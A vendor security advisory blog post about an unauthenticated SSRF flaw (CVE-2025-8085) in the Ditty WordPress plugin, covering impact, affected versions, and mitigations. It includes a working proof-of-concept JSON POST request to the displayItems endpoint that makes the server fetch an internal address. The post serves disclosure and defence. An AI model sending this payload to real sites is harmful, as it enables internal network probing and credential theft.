Go back to All Blog posts

Unauthenticated SSRF in Ditty WordPress Plugin (CVE-2025-8085)

Tal Zamir
Tal Zamir Chief Technology Officer LinkedIn
September 9, 2025

Summary

A critical Server-Side Request Forgery (SSRF) vulnerability—CVE-2025-8085—has been discovered in the popular WordPress plugin “Ditty (News Ticker & Display Items)” for versions prior to 3.1.58. The issue resides in the displayItems REST API endpoint (wp-json/dittyeditor/v1/displayItems), which lacks authentication and authorization, allowing unauthenticated attackers to force the server to fetch arbitrary URLs—internal or external—via crafted JSON payloads.


Impact

  • Blast Radius: Ditty is installed on tens of thousands of WordPress sites. Unpatched instances expose internal network endpoints to attackers.
  • Exploit Potential: SSRF may be leveraged to access internal services, metadata endpoints, or pivot to remote code execution in complex chains.
  • Ease of Exploitation: No authentication required; exploitation is feasible via standard REST API calls.

Affected Versions & Patch

  • Affected: Ditty plugin versions < 3.1.58 (i.e., up to and including 3.1.57), see WPScan.
  • Fixed: Version 3.1.58 includes proper authentication/nonce enforcement to mitigate this vulnerability.

Exploitation Method

A crafted POST request to the vulnerable endpoint could embed SSRF payloads:

POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
Content-Type: application/json

{
  "apiData":{
    "layouts":[
      {
        "id":"ssrf_layout",
        "html":"{image default_src=\"https://127.0.0.1:9393/poc\"}",
        "css":""
      }
    ],
    "items":[
      {
        "item_id":"1",
        "item_type":"default",
        "item_value":{"content":"SSRF demo"},
        "layout_value":{"default":"ssrf_layout"}
      }
    ]
  }
}

This instructs the plugin to fetch from 127.0.0.1:9393, demonstrating SSRF capabilities.


Real-World Risk & Mitigation

Why It Matters:

  1. Internal Discovery: Attackers may map internal services unreachable externally.
  2. Metadata Access: SSRF could lead to cloud metadata exposure (e.g., AWS IAM credentials), enabling privilege escalation.
  3. Chained Attacks: SSRF can be a pivot into RCE or data exfiltration depending on internal service exposure.

Recommended Steps:

  • Upgrade Immediately to Ditty 3.1.58 or later.
  • Restrict Access: Limit REST API endpoints to trusted user roles or via web application firewall (WAF) rules.
  • Monitor Logs: Watch for anomalous calls to displayItems, especially from unauthenticated sources.
  • Audit Exposures: Confirm no internal service endpoints are reachable via SSRF vectors.

Mitigation Summary

ActionDescription
UpdateUpgrade Ditty plugin to v3.1.58
Firewall ControlsBlock unauthenticated access to /wp-json/dittyeditor/v1/displayItems
Logging & DetectionFlag SSRF-like interactions, especially attempts to fetch internal IPs
Threat Center MonitoringIONIX will flag impacted assets within customers’ environment dashboards

Am I Impacted?

If you have Ditty installed and it is publicly accessible (especially in pre-3.1.58 versions), your environment may be at risk. The IONIX threat lab created a safe exploit test for CVE-2025-8085 and will highlight confirmed findings in the IONIX Threat Center dashboard.


References

WATCH A SHORT IONIX DEMO

See how easy it is to implement a CTEM program with IONIX. Find and fix exploits fast.